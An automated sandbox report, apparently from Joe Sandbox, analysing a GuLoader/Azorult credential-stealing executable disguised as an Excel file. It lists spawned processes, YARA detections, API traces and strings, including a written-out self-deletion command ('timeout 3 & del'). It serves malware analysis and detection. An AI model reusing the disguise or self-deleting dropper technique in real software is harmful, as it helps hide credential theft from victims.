7falseOK0

Target ID:	0
Start time:	06:42:57
Start date:	05/11/2024
Path:	C:\Users\user\Desktop\7000091945.xlsx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7000091945.xlsx.exe"
Imagebase:	0x400000
File size:	663'565 bytes
MD5 hash:	6FBBDC300FA11D35F4CAF2D9509CFCAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000000.00000002.1667493273.000000000056F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1668193897.00000000054CE000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:43:22
Start date:	05/11/2024
Path:	C:\Users\user\Desktop\7000091945.xlsx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7000091945.xlsx.exe"
Imagebase:	0x400000
File size:	663'565 bytes
MD5 hash:	6FBBDC300FA11D35F4CAF2D9509CFCAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000003.00000002.1856756897.0000000000060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:43:41
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "7000091945.xlsx.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:43:41
Start date:	05/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:43:41
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\timeout.exe 3
Imagebase:	0xdf0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	22.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.4%
Total number of Nodes:	1565
Total number of Limit Nodes:	46

Executed Functions

Function 004034C5 Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034E8
GetVersion.KERNEL32 ref: 004034EE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403521
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 0040355E
OleInitialize.OLE32(00000000), ref: 00403565
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 00403581
GetCommandLineW.KERNEL32(00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 00403596
CharNextW.USER32(00000000,"C:\Users\user\Desktop\7000091945.xlsx.exe",00000020,"C:\Users\user\Desktop\7000091945.xlsx.exe",00000000,?,00000007,00000009,0000000B), ref: 004035CE

Part of subcall function 00406806: GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
Part of subcall function 00406806: GetProcAddress.KERNEL32(00000000,?), ref: 00406833

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 00403708
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403725
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403739
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403741
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403752
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040375A
DeleteFileW.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 0040376E

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

OleUninitialize.OLE32(00000007,?,00000007,00000009,0000000B), ref: 00403839
ExitProcess.KERNEL32 ref: 0040385A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\7000091945.xlsx.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040386D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\7000091945.xlsx.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040387C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\7000091945.xlsx.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403887
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\7000091945.xlsx.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403893
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004038AF
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00436000,00000009,?,00000007,00000009,0000000B), ref: 00403909
CopyFileW.KERNEL32(C:\Users\user\Desktop\7000091945.xlsx.exe,0042AA28,?,?,00000007,00000009,0000000B), ref: 0040391D
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000,?,00000007,00000009,0000000B), ref: 0040394A
GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403979
OpenProcessToken.ADVAPI32(00000000), ref: 00403980
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403995
AdjustTokenPrivileges.ADVAPI32 ref: 004039B8
ExitWindowsEx.USER32(00000002,80040002), ref: 004039DD
ExitProcess.KERNEL32 ref: 00403A00

Strings

\Temp, xrefs: 0040371F
C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 004036EB, 0040380B, 004038B5, 004038BF
SeShutdownPrivilege, xrefs: 0040398F
UXTHEME, xrefs: 00403515, 0040351A, 00403520
1033, xrefs: 00403769
C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched, xrefs: 00403816
"C:\Users\user\Desktop\7000091945.xlsx.exe", xrefs: 0040359C, 004035A2, 00403796
TMP, xrefs: 00403755
NSIS Error, xrefs: 00403587
~nsu, xrefs: 00403865
Error launching installer, xrefs: 004037F0
C:\Users\user\AppData\Local\Temp\, xrefs: 004036FD, 00403702, 00403718, 00403724, 00403733, 00403740, 0040374C, 00403754, 0040386A, 0040387B, 00403886, 00403892, 0040389F, 004038AE, 0040395F
C:\Users\user\Desktop\7000091945.xlsx.exe, xrefs: 00403918
.tmp, xrefs: 00403881
C:\Users\user\Desktop, xrefs: 0040388C, 00403891, 004038BE
TEMP, xrefs: 0040374D
Low, xrefs: 0040373B

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\7000091945.xlsx.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\7000091945.xlsx.exe$C:\Users\user\udstrmningsdysernes\eir\Speckly$C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-4085785915
Opcode ID: 328609fffe7ac21a5c65c3985b48827762127d115727c2e02487c33ae415ffa8
Instruction ID: 633452ec6b1f102921f1489b21fe302f429ce1b90f1906ff0e0a9b5b291269fb
Opcode Fuzzy Hash: 328609fffe7ac21a5c65c3985b48827762127d115727c2e02487c33ae415ffa8
Instruction Fuzzy Hash: 7DD12671600311ABE7207F659D45B3B3AACEB8070AF11443FF581B62D1DBBD89518B6E

Function 6FF41B5F Relevance: 20.1, APIs: 13, Instructions: 597stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6FF4121B: GlobalAlloc.KERNELBASE(00000040,?,6FF4123B,?,6FF412DF,00000019,6FF411BE,-000000A0), ref: 6FF41225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 6FF41C8D
lstrcpyW.KERNEL32(00000008,?), ref: 6FF41CD5
lstrcpyW.KERNEL32(00000808,?), ref: 6FF41CDF
GlobalFree.KERNEL32(00000000), ref: 6FF41CF2
GlobalFree.KERNEL32(?), ref: 6FF41DD4
GlobalFree.KERNEL32(?), ref: 6FF41DD9
GlobalFree.KERNEL32(?), ref: 6FF41DDE
GlobalFree.KERNEL32(00000000), ref: 6FF41FC8
lstrcpyW.KERNEL32(?,?), ref: 6FF42182
GetModuleHandleW.KERNEL32(00000008), ref: 6FF42201
LoadLibraryW.KERNEL32(00000008), ref: 6FF42212
GetProcAddress.KERNEL32(?,?), ref: 6FF4226C
lstrlenW.KERNEL32(00000808), ref: 6FF42286

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 1ca32c0700a8fe796ff8d94884ca3f8388ea40a41fb94557a89bdfcf7bc90378
Instruction ID: 175d2874a101af50c9576d0a2b110d68688f2f2ca8ccdba379914442fa3ddb67
Opcode Fuzzy Hash: 1ca32c0700a8fe796ff8d94884ca3f8388ea40a41fb94557a89bdfcf7bc90378
Instruction Fuzzy Hash: 56229D72D14606DADB12CFB8C9806EEBFB0FF09315F10462ED165E7292E77466A1CB50

Function 00405B23 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B4C
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B94
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405BB7
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405BBD
FindFirstFileW.KERNELBASE(0042F270,?,?,?,0040A014,?,0042F270,?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405BCD
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C6D
FindClose.KERNEL32(00000000), ref: 00405C7C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B30
\*.*, xrefs: 00405B8E
"C:\Users\user\Desktop\7000091945.xlsx.exe", xrefs: 00405B23

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\7000091945.xlsx.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2330980183
Opcode ID: d511c024af8fdc6ff868d432ce58507b2a66eda6578bf5e7436de137c1c2de65
Instruction ID: 64ad53015563eb9bad7c636b6f780160dd5a6986b89d0419f795064a900c36f2
Opcode Fuzzy Hash: d511c024af8fdc6ff868d432ce58507b2a66eda6578bf5e7436de137c1c2de65
Instruction Fuzzy Hash: 8941B330804B18AAEB21AB658D89AAF7778EF41714F24417FF802B11D1D77C5E81DE6E

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: fbb483b0c38b2c52992a6a5b7edafa52747ff059505c006a33bc3772956b04e9
Instruction ID: 0f37489a7ff55aa34ce709233052591c61f0789b3923deb1f93634f017c8c928
Opcode Fuzzy Hash: fbb483b0c38b2c52992a6a5b7edafa52747ff059505c006a33bc3772956b04e9
Instruction Fuzzy Hash: E821AD7195420AAEEF05AFB4D94AAEE7BB0EF44304F10453EF601B61D1D7B84941CB98

Function 004021A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085F0,?,?,004085E0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402221

Strings

C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched, xrefs: 00402261

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched
API String ID: 542301482-4031951691
Opcode ID: 9d479c7c72b9213c6dfc702f82f35e79a053754e3cc1bdd00607558639033416
Instruction ID: 552a380bc1a798379165a166047c46cc7e7689cdd056a509842d4882e8d45c12
Opcode Fuzzy Hash: 9d479c7c72b9213c6dfc702f82f35e79a053754e3cc1bdd00607558639033416
Instruction Fuzzy Hash: 33410875A00208AFCF00DFE4C989A9E7BB6FF48314B20457AF515EB2D1DB799981CB54

Function 0040676F Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,004302B8,0042FA70,00405E37,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 0040677A
FindClose.KERNEL32(00000000), ref: 00406786

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction ID: c6bcef3f8635fd9f58624a192a3d19c105278d067f6c5fe4f3eb3d2c281a06a9
Opcode Fuzzy Hash: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction Fuzzy Hash: F0D012315242206FC3805B386E0C84B7A989F16335B218B36B4AAF21E0D7349C3287BC

Function 00402902 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 00402911

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f1f75f85ad8f91268d35bee39362f1624f539314e89723e4461874efd2ba877a
Instruction ID: 56039e75b3af19f60320d449630e93dfdbb15a7187211f692f50db0849c99601
Opcode Fuzzy Hash: f1f75f85ad8f91268d35bee39362f1624f539314e89723e4461874efd2ba877a
Instruction Fuzzy Hash: C8F08C71A04114AEC700DFA4DD499AEB378EF10328F70457BE511F31E0D7B89E119B29

Function 00404DD4 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 490
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DEB
GetDlgItem.USER32(?,00000408), ref: 00404DF8
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E44
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404E5B
SetWindowLongW.USER32(?,000000FC,004053ED), ref: 00404E75
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E89
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404E9D
SendMessageW.USER32(?,00001109,00000002), ref: 00404EB2
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EBE
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404ED0
DeleteObject.GDI32(00000110), ref: 00404ED5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404F00
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404F0C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FA7
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404FD7

Part of subcall function 0040439C: SendMessageW.USER32(00000028,?,?,004041C7), ref: 004043AA

SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FEB
GetWindowLongW.USER32(?,000000F0), ref: 00405019
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405027
ShowWindow.USER32(?,00000005), ref: 00405037
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405138
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040519A
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004051AF
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051D3
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051F6
ImageList_Destroy.COMCTL32(?), ref: 0040520B
GlobalFree.KERNEL32(?), ref: 0040521B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405294
SendMessageW.USER32(?,00001102,?,?), ref: 0040533D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040534C
InvalidateRect.USER32(?,00000000,?), ref: 00405376
ShowWindow.USER32(?,00000000), ref: 004053C4
GetDlgItem.USER32(?,000003FE), ref: 004053CF
ShowWindow.USER32(00000000), ref: 004053D6

Strings

N, xrefs: 00405073
M, xrefs: 00404F8F
, xrefs: 004053AE

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 5598e06cb67788476fc8c7d334527adddce2bdc5635884aaeb3921699d952b74
Instruction ID: d580a4fcaa5169941c29ca465f5867fc490570c71858173d192e260bc12e7e27
Opcode Fuzzy Hash: 5598e06cb67788476fc8c7d334527adddce2bdc5635884aaeb3921699d952b74
Instruction Fuzzy Hash: 9C127A70D00609EFDB20DFA5CD45AAEBBB5FB84314F10817AEA10BA2E1C7798941DF58

Function 00403E8E Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403ECA
ShowWindow.USER32(?), ref: 00403EE7
DestroyWindow.USER32 ref: 00403EFB
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F17
GetDlgItem.USER32(?,?), ref: 00403F38
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F4C
IsWindowEnabled.USER32(00000000), ref: 00403F53
GetDlgItem.USER32(?,?), ref: 00404001
GetDlgItem.USER32(?,00000002), ref: 0040400B
SetClassLongW.USER32(?,000000F2,?), ref: 00404025
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00404076
